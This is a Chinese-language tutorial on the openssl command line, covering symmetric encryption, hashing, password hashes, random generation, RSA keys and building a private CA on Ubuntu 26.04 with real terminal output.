JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm
EOF

#加密
# cat <<EOF | while read line; do   echo  $line|iconv -f utf-8 -t unicode |od -A n -t x2|tr -d '\n'|sed -r 's@( feff| 000a)@@g'|sed 's/\x20/\\u/g'|sed -r 's/\\/\%/g' | base64| paste -s -d ''; done
你好朋友!我是徐长伟
,我的网站:xuchangwei.com,可以
加个好友吗?
EOF
JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm

base64 只是换了保存格式,并不加密。

openssl 命令

两种运行模式:

  • 交互模式
  • 批处理模式

三种子命令:

  • 标准命令
  • 消息摘要命令 如 dgst 子命令
  • 加密命令 如 enc 子命令

范例:获取帮助

openssl version 
openssl help

openssl enc命令对称加密

工具:openssl enc, gpg

算法:3des, aes, blowfish, twofish

enc命令:帮助:man openssl-enc, openssl enc –help

#加密:
openssl enc -e -des3 -a -salt -in testfile -out testfile.cipher
#解密
openssl enc -d -des3 -a -salt -in testfile.cipher -out testfile

#参数说明:
#-e:对输入数据加密(默认值)
#-d 解密
#-CIPHERNAME:表示使用的算法 如 -des3 Alias for des-ede3-cbc
#-a:bash64文本编码格式,不加 -a 就是二进制编码格式;
#-salt:加入盐"佐料"
#-in:处理的文件
#-out:加密后的文件

#改用 AES-256-CBC,现代安全算法
# 加密
openssl enc -e -aes-256-cbc -a -salt -pbkdf2 -in a.c -out a.c.enc
# 解密
openssl enc -d -aes-256-cbc -a -salt -pbkdf2 -in a.c.enc -out a.c


# gpg 对称加密解密
gpg -c a.c
gpg -d a.c.gpg

aes-128-cbc

[root@test ~]# echo testsda | openssl aes-128-cbc -k 3flreaem37123456 -base64
U2FsdGVkX19PWoSmneIPSEsa42aYcs/tiFiWmmjI4tU=

[root@test ~]# echo 'U2FsdGVkX19PWoSmneIPSEsa42aYcs/tiFiWmmjI4tU=' |openssl aes-128-cbc -d -k 3flreaem37123456  -base64
testsda

openssl dgst命令单向哈希加密

工具:openssl dgst

算法:md5sum, sha1sum, sha224sum,sha256sum…

dgst命令:帮助:

  • man dgst
  • openssl dgst --help
openssl dgst -md5 [-hex默认] /PATH/SOMEFILE
openssl dgst -md5 testfile
openssl md5 filename
md5sum /PATH/TO/SOMEFILE
#若对某文件进行 sha1 摘要计算:openssl sha1 -in t.txt

# 提取fstab文件的特征码
md5sum fstab
openssl md5 fstab

sha512sum fstab
openssl sha512 fstab

[root@centos7 scripts]# echo "hello world" | openssl dgst -md5  #直接计算数据特征码
(stdin)= 6f5902ac237024bdd0c176cb93063dc4

补充知识:

MAC: Message Authentication Code,单向加密的一种延伸应用,用于实现网络通信中保证所传输数据的完整性机制 HMAC:hash-based MAC,使用md5或sha1算法。己被破解,不安全了。

openssl passwd 命令生成用户密码

passwd命令:帮助:

  • man sslpasswd
  • openssl passwd --help
root@master01:~# openssl passwd --help
Usage: passwd [options] [password]

General options:
 -help               Display this summary

Input options:
 -in infile          Read passwords from file
 -noverify           Never verify when reading password from terminal
 -stdin              Read passwords from stdin

Output options:
 -quiet              No warnings
 -table              Format output as table
 -reverse            Switch table columns

Cryptographic options:
 -salt val           Use provided salt
 -6                  SHA512-based password algorithm # sha512 加密算法
 -5                  SHA256-based password algorithm
 -apr1               MD5-based password algorithm, Apache variant
 -1                  MD5-based password algorithm
 -aixmd5             AIX MD5-based password algorithm

Random state options:
 -rand val           Load the given file(s) into the random number generator
 -writerand outfile  Write random data to the specified file

Provider options:
 -provider-path val  Provider load path (must be before 'provider' argument if required)
 -provider val       Provider to load (can be specified multiple times)
 -provparam val      Set a provider key-value parameter
 -propquery val      Property query used when fetching algorithms

Parameters:
 password            Password text to digest (optional)

#就算密钥一样,只要 salt 的随机数不一样,那么输出的加密密码就是不一样的,也就无法反推出密码

root@master01:~# openssl passwd -6 # 密码123456
Password:
Verifying - Password:
$6$nwtG3dfbEVAKwy6e$T6X9teUpHTb36qgpkYJfSwE17uRwF6SU9z8IAjAvqp6xIS5nHX8NbtM.S.zZ0eYSlU5Y404pJCZKwPAV2JhGy0

#盐:nwtG3dfbEVAKwy6e

注意:盐一样密码一样,得到的结果一样

# 指定盐。盐一样密码一样,得到的结果一样。
openssl passwd -6 -salt nwtG3dfbEVAKwy6e  # 交互式输入密码
echo 123456 | openssl passwd -6 -salt nwtG3dfbEVAKwy6e --stdin # 非交互
openssl passwd -6 -salt nwtG3dfbEVAKwy6e 123456

getent shadow jasper # 查看用户 shadow 信息

范例:创建新用户同时指定密码

# 提前创建用户
useradd -m -s /bin/bash zhangsan
# 修改用户密码-红帽系列的Linux版本
echo '123456' | passwd --stdin me

# 修改用户密码-Ubuntu 非交互式修改用户密码
echo zhangsan:centos |chpasswd
passwd zhangsan <<EOF
centos
centos
EOF

echo -e '123456\123456' | passwd zhangsan

# centos ubuntu都适用。 ubuntu不支持 passwd --stdin
# -p 加密口令
useradd -p `openssl passwd -6 -salt nwtG3dfbEVAKwy6e 123456` lisi
# 查看用户口令
getent shadow lisi

#  CentOS 6 创建并指定基于sha512的用户密码
[root@centos6 ~]#grub-crypt --sha-512
Password:
Retype password:
$6$v9A2/xUNwAWwEmHN$q7Wz.uscsV/8J5Gss3KslX8hKXOoaP3hDpOBWeBfMQHVIRZiwHUUkii84cvQWIMnvtnXYsdVHuLO4KhOiSOMh/

[root@centos6 ~]#useradd -p '$6$v9A2/xUNwAWwEmHN$q7Wz.uscsV/8J5Gss3KslX8hKXOoaP3hDpOBWeBfMQHVIRZiwHUUkii84cvQWIMnvtnXYsdVHuLO4KhOiSOMh/' test

[root@centos6 ~]#getent shadow test


# 利用Python程序在CentOS7 生成sha512加密密码
[root@centos7 ~]#python -c 'import crypt,getpass;pw="me";print(crypt.crypt(pw))'
$6$pt2FMf6YqKea3mh$.7Hkslg17uI.Wu7tVVtkzrwktXrOC8DxcMFC4JO1igrqR7VAi87H5PHOuLTUEjl7eJqKUhMT1e9ixojn1

范例:

# md5 不安全
openssl passwd -1 -salt SALT(最多8位)
openssl passwd -1 –salt centos

范例:

# perl -e 'print crypt ("emacle2013",q($6$123456)),"\n"'
$6$123456$tXk7FCLi2JWojnHgtJjwiTOjCgxZvWRpH0lDxQeHZ4uTW3kgAT.pStPFB3kiYnD6uvoI9hvqvDcR/U/ngKHsj

openssl rand 命令生成随机数

随机数生成器:伪随机数字,利用键盘和鼠标,块设备中断生成随机数

/dev/random  #仅从熵池返回随机数;随机数用尽,阻塞
/dev/urandom #从熵池返回随机数;随机数用尽,会利用软件生成伪随机数,非阻塞

帮助:man openssl-rand, openssl rand –help

openssl rand -base64|-hex NUM

NUM: 表示字节数,使用-hex,每个字符为十六进制,相当于4位二进制,出现的字符数为NUM*2

范例:生成随机10位长度密码

10*6/8 = 7
root@master01:~# openssl rand -base64 7
Gt1hhG8YaA==

openssl rand -base64 9 |head -c10 #只要是3的整数倍,结果里都没有等号
openssl rand -hex 4 # 随机8位长度

tr -dc '[:alnum:]' < /dev/urandom |head -c10

openssl命令实现PKI

公钥加密:

  • 算法:RSA, ELGamal
  • 工具:gpg, openssl rsautl(man rsautl)

数字签名:

  • 算法:RSA, DSA, ELGamal

密钥交换:

  • 算法:dh
  • DSA:Digital Signature Algorithm
  • DSS:Digital Signature Standard
  • RSA:

openssl命令生成密钥对儿:

  • openssl genrsa 支持数据加密和签名
  • openssl gendsa 只支持签名,不支持加密

openssl genrsa用法

man openssl-genrsa
openssl genrsa --help

openssl genrsa [-out filename] [-passout arg] [-des] [-des3] [-idea] [numbits]
选项说明:
-out filename    #将生成的私钥保存至filename文件,若未指定输出文件,则为标准输出。
-numbits         #指定要生成的私钥的长度,默认为1024。该项必须为命令行的最后一项参数。
-passout args    #加密私钥文件时,传递密码的格式,如果要加密私钥文件时单未指定该项,
                 #则提示输入密码。传递密码的args的格式见openssl密码格式
-*               #加密算法。这样每次使用私钥文件都将输入密码。 openssl list -cipher-algorithms
  #-aes128, -aes256, -aria256, -camellia256, -des, -des3, -idea
生成私钥
openssl genrsa -out /PATH/TO/PRIVATEKEY.FILE [-*] [NUM_BITS,默认2048]
# -aes256|-des3 #指定加密私钥文件用的算法
# 生成对称秘钥加密的私钥
# 通过设置严格的权限实现安全,应用更广泛。centos7 默认 644,centos8 默认 600
(umask 077; openssl genrsa -out test.key 4096)

cat test.key 
-----BEGIN RSA PRIVATE KEY-----
xxxxx
-----END RSA PRIVATE KEY-----

# 指定私钥密码
openssl genrsa -aes256 -out app2.key 4096 # 交互式,输入口令。使用时要解密才能使用

# 将私钥解密,有密码的变成没密码的私钥文件
openssl rsa -in app2.key -out aa.key

# 查看私钥信息
openssl rsa -in test.key -noout -text
openssl密码格式

子命令的选项 -passin 和 -passout 可使用到的密码传递格式,

  • -passin 指的是传递解密时的密码
  • -passout 指的是传递加密输出文件时的密码。如果不给定密码格式,将提示从终端输入。
#格式一
pass:password #password表示传递的明文密码
#格式二
env:var       #从环境变量var获取密码值
#格式三
file:filename #filename文件中的第一行为要传递的密码。
              #若filename同时传递给"-passin"和"-passout"选项,
              #则filename的第一行为"-passin"的值,第二行为"-passout"的值
#格式四
stdin         #从标准输入中获取要传递的密码

范例: 生成秘钥对的私钥,可对私钥输入口令加密

# 非交互加密私钥
openssl genrsa -aes128 -out /data/app2.key -passout "pass:123456" 4096 # 明文密码
PASSWORD="8#QBD2$!EmED&QxK"; openssl genrsa -aes256 -passout pass:$PASSWORD -out ca-key.pem 4096
export MY_PASS=123456 ; openssl genrsa -aes128 -out pri_key.pem -passout "env:MY_PASS" 4096 # 从环境变量获取密码

echo 123456 >mypass.txt ; openssl genrsa -aes128 -out pri_key.pem -des3 -passout "file:mypass.txt" 2048 # 文件获取密码
从私钥中提取出公钥
openssl rsa -in PRIVATEKEYFILE –pubout –out PUBLICKEYFILE

范例:

openssl rsa –in test.key –pubout –out test.key.pub

范例:加密过的私钥提取公钥需要输入口令

# 加密过的私钥提取公钥需要输入口令
openssl rsa -in app2.key -pubout -out app2-pub.key

# 非交互式
openssl rsa -in app2.key -pubout -out app2-pub.key -passin "pass:123456" # 明文
export MY_PASS=123456 ; penssl rsa -in app2.key -pubout -out app2-pub.key -passout "env:MY_PASS" 2048 # 变量获取密码
echo 123456 >mypass.txt ; penssl rsa -in app2.key -pubout -out app2.pub.key -passout "file:mypass.txt" 2048 # 文件获取密码

五分钟快速生成证书

下一章「建立私有CA」的路线A 是 带讲解的教学版 ,本章是 拿来就用的速查版 : 一段可以整体复制粘贴的命令,改开头四个变量即可,跑完就得到一套能用的证书。

只需要改最上面四行:

set -e
mkdir -p /data/quick && cd /data/quick

# ---- 按需修改这 4 行 ----
CN="app1.jasper.org"
SAN="DNS:app1.jasper.org,DNS:*.jasper.org,IP:10.0.0.101,IP:127.0.0.1"
SUBJ="/C=CN/ST=beijing/L=beijing/O=ops/OU=it"
DAYS=397
# ------------------------

# 1 私有CA(私钥 + 自签证书)
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out ca.key
openssl req -x509 -new -key ca.key -days 3650 -out ca.crt \
        -subj "${SUBJ}/CN=ops-internal-ca" \
        -addext "basicConstraints=critical,CA:TRUE,pathlen:0" \
        -addext "keyUsage=critical,keyCertSign,cRLSign"

# 2 服务端私钥 + CSR(SAN 写进 CSR)
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out tls.key
openssl req -new -key tls.key -out tls.csr \
        -subj "${SUBJ}/CN=${CN}" \
        -addext "subjectAltName=${SAN}"

# 3 签发(关键扩展由签发方定死,SAN 从 CSR 复制过来)
openssl x509 -req -in tls.csr -CA ca.crt -CAkey ca.key -copy_extensions copy \
        -days "$DAYS" -out tls.crt \
        -extfile <(printf '%s\n' \
            'basicConstraints=critical,CA:FALSE' \
            'keyUsage=critical,digitalSignature,keyEncipherment' \
            'extendedKeyUsage=serverAuth')

# 4 自检(四项都要过)
openssl x509 -in tls.crt -noout -subject -issuer -dates -ext subjectAltName
openssl verify -auth_level 1 -x509_strict -CAfile ca.crt tls.crt
openssl verify -auth_level 1 -CAfile ca.crt -verify_hostname "$CN" tls.crt
diff <(openssl x509 -in tls.crt -noout -pubkey) <(openssl pkey -in tls.key -pubout) \
        && echo "keypair: OK"

# 5 权限收紧,CSR 用完即删
chmod 600 ca.key tls.key
chmod 644 ca.crt tls.crt
rm -f tls.csr

实际运行(ubuntu2604 实测,为便于阅读省去了 genpkey 生成密钥时刷屏的 ....+..+++++ 进度点,那些是 stderr,不想看可以加 2>/dev/null ):

root@master01:/data/quick# bash quick.sh
Certificate request self-signature ok
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
issuer=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ops-internal-ca
notBefore=Sep 28 05:58:57 2026 GMT
notAfter=Oct 30 05:58:57 2027 GMT
X509v3 Subject Alternative Name:
    DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1
tls.crt: OK                                    # verify -x509_strict
tls.crt: OK                                    # verify -verify_hostname
keypair: OK

root@master01:/data/quick# ls -l
-rw-r--r-- 1 root root 2053 Sep 28 13:58 ca.crt      # CA 证书,发给客户端
-rw------- 1 root root 3268 Sep 28 13:58 ca.key      # CA 私钥,留在 CA 机器上
-rw-r--r-- 1 root root 1805 Sep 28 13:58 tls.crt     # 服务端证书
-rw------- 1 root root 1704 Sep 28 13:58 tls.key     # 服务端私钥

几个容易写错的地方:

  • CN 的值 必须同时出现在 SAN 里 。CN 不会被自动加进 SAN, 漏掉的话浏览器直接拒(原因见「建立私有CA」的坑2)
  • IP 要写成 IP:10.0.0.101 ,写成 DNS:10.0.0.101 无效
  • CA 的 CN 不要和服务端证书的 CN 重名 ,否则部分工具做链路校验时会犯迷糊, 这里用 ops-internal-ca
  • -days 397 不要改成 36500,超过 398 天 Apple 平台直接拒(见「实测:bilibili vs bing」的有效期一节)
  • 第 3 步的 -extfile 和 -copy_extensions copy 两个都要有 : 前者让签发方定死 basicConstraints/keyUsage/EKU,后者把 CSR 里的 SAN 带进证书

要让本机信任这个 CA(之后 curl 就不用 -k 了):

cp /data/quick/ca.crt /usr/local/share/ca-certificates/ops-internal-ca.crt
update-ca-certificates

需要 ECDSA 版本,把第 2 步的 genpkey 换掉,并 *去掉 keyEncipherment * :

openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out tls.key
# 第 3 步的 extfile 改成:
#   'keyUsage=critical,digitalSignature'

建立私有CA:完整实操

本节是一条 在 ubuntu2604 (Ubuntu 26.04.1 LTS / OpenSSL 3.5.5) 上逐条实跑验证过 的主线, 贴出的终端输出都是真实抓取的。照着从头走到尾,可以得到一张浏览器、curl、Go、Java 都认的证书。

参考:

本节导航:

小节 内容 什么时候看
0 环境与术语 第一次读,或换机器后对不上时
1 Ubuntu 26.04 自带 cnf 的四个坑 动手前必读 ,四个坑都会让你白忙一场
2 路线A: x509 -req 轻量签发 绝大多数场景(内网服务、K8s、测试环境)
3 路线B: openssl ca 正式私有CA 需要序列号台账、吊销、CRL 时
4 吊销证书与 CRL 跟路线B 配套
5 让 Ubuntu / curl / 浏览器信任私有CA 证书签好了但客户端还是报错时
6 两条路线怎么选 + 常见报错对照 排错

环境与术语

本文的基准环境
root@master01:~# cat /etc/os-release | head -3
PRETTY_NAME="Ubuntu 26.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="26.04"

root@master01:~# openssl version -a
OpenSSL 3.5.5 27 Jan 2026 (Library: OpenSSL 3.5.5 27 Jan 2026)
built on: Wed Aug 26 11:58:23 2026 UTC
platform: debian-arm64
OPENSSLDIR: "/usr/lib/ssl"
ENGINESDIR: "/usr/lib/aarch64-linux-gnu/engines-3"
MODULESDIR: "/usr/lib/aarch64-linux-gnu/ossl-modules"

3.5 是 LTS 版本 (2025-04-08 发布,支持到 2030-04-08),是目前写脚本应该对齐的基线。

openssl 包装了什么(Debian/Ubuntu 系):

root@master01:~# dpkg -L openssl | grep -vE '/usr/share|build-id'
/etc/ssl
/etc/ssl/certs
/etc/ssl/openssl.cnf          # 配置文件真身
/etc/ssl/private
/usr/bin/c_rehash
/usr/bin/openssl
/usr/lib/ssl/cert.pem
/usr/lib/ssl/certs
/usr/lib/ssl/misc/CA.pl
/usr/lib/ssl/openssl.cnf
/usr/lib/ssl/private

OPENSSLDIR 是 /usr/lib/ssl ,但里面几乎全是指向 /etc/ssl 的符号链接, 所以 改配置去改 /etc/ssl/openssl.cnf 就对了 :

root@master01:~# ls -l /usr/lib/ssl
lrwxrwxrwx 1 root root   34 Aug 26 19:58 cert.pem -> /etc/ssl/certs/ca-certificates.crt
lrwxrwxrwx 1 root root   14 Aug 18 19:56 certs -> /etc/ssl/certs
drwxr-xr-x 2 root root 4096 Sep  6 23:20 misc
lrwxrwxrwx 1 root root   20 Aug 26 19:58 openssl.cnf -> /etc/ssl/openssl.cnf
lrwxrwxrwx 1 root root   16 Aug 18 19:56 private -> /etc/ssl/private

对照其他发行版的位置:

发行版 配置文件
Debian/Ubuntu /etc/ssl/openssl.cnf ( /usr/lib/ssl/openssl.cnf 是软链)
RedHat 系 /etc/pki/tls/openssl.cnf
官方最新模板 https://github.com/openssl/openssl/blob/master/apps/openssl.cnf

不确定当前机器用的是哪个文件

root@master01:~# openssl version -d
OPENSSLDIR: "/usr/lib/ssl"
术语表
缩写 全称 是什么
key private key 私钥。唯一不能外传的东西,泄露=证书作废
csr Certificate Signing Request 证书签名请求。含公钥+主体信息,用自己的私钥自签名
crt / cer Certificate 证书。CA 用它的私钥对你的 CSR 签名后的产物
pem Privacy Enhanced Mail Base64 文本编码, -----BEGIN ...----- 开头。最常用
der Distinguished Encoding Rules 二进制编码。Java/Windows 场景常见, -inform DER
CA Certificate Authority 签发证书的机构
RA Registration Authority 受理和核验证书请求的代理,不掌握签发私钥
DN Distinguished Name 主体标识,即 /C=CN/ST=.../CN=... 那一串
SAN Subject Alternative Name 使用者备用名称。 现代客户端唯一认的域名来源
CRL Certificate Revocation List 证书吊销列表
EKU Extended Key Usage 扩展密钥用法,限定证书能用于 serverAuth/clientAuth 等

注意 pem / der 描述的是 编码格式 ,跟文件里装的是私钥、CSR 还是证书无关。 所以 cacert.pem 里是证书, cakey.pem 里是私钥,都叫 .pem 。

DN 各字段:

C  = Country              # 国家,2位字母代码。如 CN
ST = State                # 省或州的完整名称。如 beijing
L  = Locality             # 城市。如 beijing
O  = Organization         # 组织机构名称(公司)。如 ops
OU = Organizational Unit  # 部门。如 it
CN = Common Name          # 通用名。CA 填 CA 的名字,服务端证书填主域名
emailAddress              # 管理员邮箱,可省略
证书签发的完整链路
申请方                                    CA 方
  │                                        │
  ├─1 生成私钥 (app1.key) ──────────────┐  │
  │    私钥不出本机                      │  │
  ├─2 生成 CSR (app1.csr) ───────────────┼──┤
  │    含公钥 + DN + 想要的 SAN          │  │
  │    用自己的私钥自签名                │  │
  │                                      └─→├─3 RA 核验申请者身份
  │                                         ├─4 CA 用 CA 私钥签发
  ├─5 拿回 app1.crt ←───────────────────────┤     签发方单方面决定
  │                                         │     basicConstraints/keyUsage/EKU
  └─6 部署 app1.key + app1.crt + ca.crt     │

关键点: 私钥从头到尾不离开申请方 。CA 只看到 CSR 里的公钥。 这也是为什么 CSR 必须自签名 —— 它证明"提交这个公钥的人确实握有对应私钥"。

Ubuntu 26.04 自带 openssl.cnf 的四个坑

Ubuntu 26.04 用的基本是 OpenSSL 上游原版 apps/openssl.cnf ,只在末尾加了两行 .include 。 这个文件是 给 openssl 自己做回归测试用的示例 ,不是给生产 CA 用的模板, 下面四处默认值照搬会直接导致签出来的证书不可用。动手之前先看完。

坑1: dir = ./demoCA 是相对路径
root@master01:~# grep -n '^dir' /etc/ssl/openssl.cnf
82:dir          = ./demoCA              # Where everything is kept
312:dir         = ./demoCA              # TSA root directory

openssl ca 的所有路径( index.txt / serial / newcerts/ / cacert.pem )都是 $dir/... 展开的,而 $dir 是 相对当前工作目录 的。 所以 openssl ca 必须在 demoCA 的 父目录 里执行,换个目录跑就报文件找不到:

root@master01:~# openssl ca -status 01
Using configuration from /usr/lib/ssl/openssl.cnf
...:error:80000002:system library:BIO_new_file:No such file or directory:
   ../crypto/bio/bss_file.c:67:calling fopen(./demoCA/index.txt, r)

解决办法是自备一份 cnf 把 dir 写成绝对路径(见路线B),不要去改系统文件。

坑2: [usr_cert] 里没有 SAN —— 这是最致命的一个

openssl ca 默认套用 [CA_default] x509_extensions 指向的段,也就是 [usr_cert] 。 把注释去掉看它到底有什么:

root@master01:~# sed -n '/^\[ usr_cert \]/,/^\[ v3_req \]/p' /etc/ssl/openssl.cnf \
                 | grep -v '^#' | grep -v '^$'
[ usr_cert ]
basicConstraints=CA:FALSE
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid,issuer
[ v3_req ]

只有三项: 没有 subjectAltName、没有 keyUsage、没有 extendedKeyUsage 。 直接 openssl ca -in app1.csr -out app1.crt 签出来的证书长这样:

root@master01:/data/ca# openssl x509 -in bad.crt -noout \
    -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
X509v3 Basic Constraints:
    CA:FALSE

SAN 是空的。Chrome 58+ / Firefox / Go crypto/x509 / 新版 Java 早已 完全忽略 CN , 只认 SAN,这种证书即使导入信任库也会报 ERR_CERT_COMMON_NAME_INVALID 。

这里有个会骗到人的地方:OpenSSL 自己不这么严

OpenSSL 在证书没有 SAN 时会 回落到 CN 做主机名匹配,所以 openssl verify 和基于 OpenSSL 的 curl 都会说没问题:

root@master01:/data/ca# openssl verify -CAfile ca.crt -verify_hostname app1.jasper.org bad.crt
bad.crt: OK                                    # <- 回落到 CN 匹配,通过了

root@master01:/data/ca# curl -sS -o /dev/null -w "rc=%{http_code} verify=%{ssl_verify_result}\n" \
    https://app1.jasper.org:4433/
rc=200 verify=0                                # <- curl 也通过了

# 证明确实是靠 CN 通过的:换个对不上 CN 的名字就失败
root@master01:/data/ca# openssl verify -CAfile ca.crt -verify_hostname nope.jasper.org bad.crt
C=CN, ST=beijing, O=ops, OU=it, CN=app1.jasper.org
error 62 at 0 depth lookup: hostname mismatch
error bad.crt: verification failed

所以会出现这种让人抓狂的现象: curl 测着好好的,浏览器和 Go 服务死活连不上 。

客户端 证书无 SAN 时
openssl verify / curl / nginx / python ssl 回落到 CN,*通过*
Chrome 58+ / Firefox / Go / 新版 Java 不回落,*直接拒*

结论: 自测不要只用 curl ,或者干脆永远把 SAN 写全(本文后面都会写)。

坑3: [req] x509_extensions = v3_ca —— 签出 CA:TRUE 的"服务端证书"
root@master01:~# grep -n 'x509_extensions' /etc/ssl/openssl.cnf
97:x509_extensions      = usr_cert      # The extensions to add to the cert
149:x509_extensions     = v3_ca # The extensions to add to the self signed cert

(行号随发行版和版本变化,别记死,用上面这条 grep 自己确认。)

第 97 行在 [CA_default] 段内(坑2),第 149 行在 [req] 段内。 [v3_ca] 的内容是 basicConstraints = critical,CA:true 。 于是用 req -x509 -CA 去签一张服务端证书时,它会套用 v3_ca , 给你一张 CA:TRUE 的"服务端证书" —— 等于把签发权限泄露给了业务服务器。 详见后文 req -x509 与 x509 -req 的对比一节。

记住区别: req 读配置文件, x509 不读 。这也是本文路线A 用 x509 -req 的原因。

坑4:文件末尾两行 .include 指向不存在的目录

Ubuntu 26.04 在官方模板末尾加了两行,为将来的系统级加密策略预留:

root@master01:~# tail -2 /etc/ssl/openssl.cnf
.include /var/lib/crypto-config/profiles/current/openssl.conf.d
.include /etc/ssl/openssl.conf.d

root@master01:~# ls -d /var/lib/crypto-config/profiles/current/openssl.conf.d /etc/ssl/openssl.conf.d
ls: cannot access '/var/lib/crypto-config/profiles/current/openssl.conf.d': No such file or directory
ls: cannot access '/etc/ssl/openssl.conf.d': No such file or directory

两个目录默认都不存在 。后果是每次跑 openssl ca 都会多出两行红色报错:

root@master01:/data/ca# openssl ca -batch -in app1.csr -out app1.crt
Using configuration from /usr/lib/ssl/openssl.cnf
...:error:80000002:system library:process_include:No such file or directory:
   ../crypto/conf/conf_def.c:812:calling stat(/var/lib/crypto-config/profiles/current/openssl.conf.d)
...:error:80000002:system library:process_include:No such file or directory:
   ../crypto/conf/conf_def.c:812:calling stat(/etc/ssl/openssl.conf.d)
Check that the request matches the signature
Signature ok
...
Write out database with 1 new entries
Database updated                               # <- 注意:证书还是签出来了

这两行是无害的 ,签发照常完成。实测只有 openssl ca 会打印它, req / x509 / genpkey / verify 都不受影响:

# 逐个子命令统计 process_include 报错行数,只有 ca 非零
openssl genpkey ...  -> process_include 报错 0 行
openssl req ...      -> process_include 报错 0 行
openssl x509 ...     -> process_include 报错 0 行
openssl verify ...   -> process_include 报错 0 行
openssl ca ...       -> process_include 报错 2 行

三种消除方式, 不要去删系统文件里的那两行 (包升级会覆盖回来):

# 方式1(推荐):用自己的 cnf,本文路线B 就是这么做的
openssl ca -config ./ca.cnf ...

# 方式2:把空目录建出来
mkdir -p /etc/ssl/openssl.conf.d /var/lib/crypto-config/profiles/current/openssl.conf.d

# 方式3:脚本里把这两行滤掉(注意别把真正的错误也滤掉了)
openssl ca ... 2>&1 | grep -v process_include
附: policy_match 要求 C / ST / O 与 CA 一致

openssl ca (只有 ca ,路线A 的 x509 -req 不受影响)会按 [CA_default] policy 指向的段校验 CSR 的 DN:

[ policy_match ]
countryName            = match      # 必须和 CA 证书一致
stateOrProvinceName    = match      # 必须和 CA 证书一致
organizationName       = match      # 必须和 CA 证书一致
organizationalUnitName = optional   # 可有可无,值也不必一致
commonName             = supplied   # 必须提供,不能为空
emailAddress           = optional

三种策略:

  • match :申请信息必须与 CA 证书里对应字段 完全一致
  • optional :可有可无,也不要求一致
  • supplied :必须填写,不能为空

签发时报 The countryName field is different between CA certificate and the request , 就是撞上了这条。内部 CA 想放松限制,用 [policy_anything] (全部 optional,只有 CN 是 supplied)。

路线A: x509 -req 轻量签发(最常用)

适用于内网服务、K8s 组件、测试环境 —— 也就是 不需要序列号台账和 CRL 的绝大多数场景。 全程不碰 /etc/ssl/openssl.cnf ,不需要 demoCA 目录结构,可重复、可脚本化。

下面每一条都在 ubuntu2604 上原样跑过,输出为实际抓取。 统一约定:工作目录 /data/ca ,CA 为 ca.jasper.org ,服务端为 app1.jasper.org 。

A1 生成 CA 私钥
mkdir -p /data/ca && cd /data/ca

# [3.x] 统一用 genpkey,不再用 genrsa
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out ca.key
chmod 600 ca.key
root@master01:/data/ca# ls -l ca.key
-rw------- 1 root root 3272 Sep 28 07:32 ca.key

老写法 openssl genrsa -out ca.key 4096 仍然可用,但 genpkey 是 3.x 的正路: 一个命令覆盖 RSA / EC / Ed25519 / ML-DSA,详见后文 genpkey 一节。 新版本私钥文件权限已经是 600, umask 066 那一套可以不写了。

A2 生成 CA 自签名证书
openssl req -x509 -new -key ca.key -days 3650 -out ca.crt \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=ca.jasper.org" \
        -addext "basicConstraints=critical,CA:TRUE,pathlen:0" \
        -addext "keyUsage=critical,keyCertSign,cRLSign"
root@master01:/data/ca# openssl x509 -in ca.crt -noout -subject -issuer -dates
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
issuer=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
notBefore=Sep 27 23:32:05 2026 GMT
notAfter=Sep 24 23:32:05 2036 GMT

root@master01:/data/ca# openssl x509 -in ca.crt -noout \
    -ext basicConstraints,keyUsage,subjectKeyIdentifier
X509v3 Subject Key Identifier:
    7C:DE:E9:64:A7:6D:60:A0:15:C8:52:0C:DF:C3:71:DF:D2:E5:88:B0
X509v3 Basic Constraints: critical
    CA:TRUE, pathlen:0
X509v3 Key Usage: critical
    Certificate Sign, CRL Sign

subject 和 issuer 相同就是"自签名"的含义。逐项说明:

选项 为什么这么写
-x509 -new 直接出自签证书,不产生中间 CSR
-days 3650 根CA 可以长(10年); 叶子证书不能这么长 ,见 A4
basicConstraints critical,CA:TRUE 没有这条就不是 CA,用它签出来的证书验链会 error 24
pathlen:0 禁止它再签下级 CA,只能签叶子。内部两层结构够用了
keyUsage critical,keyCertSign,cRLSign CA 只需要这两个权限。多给没好处
不写 extendedKeyUsage 根CA 写 EKU 会被 Chrome/NSS 做 EKU 嵌套检查限死,见后文详解

-addext 可以重复给,每次一个扩展,这样就不必为了两行扩展单独维护一个 cnf 文件。

[3.x] SKID / AKID 是自动加的

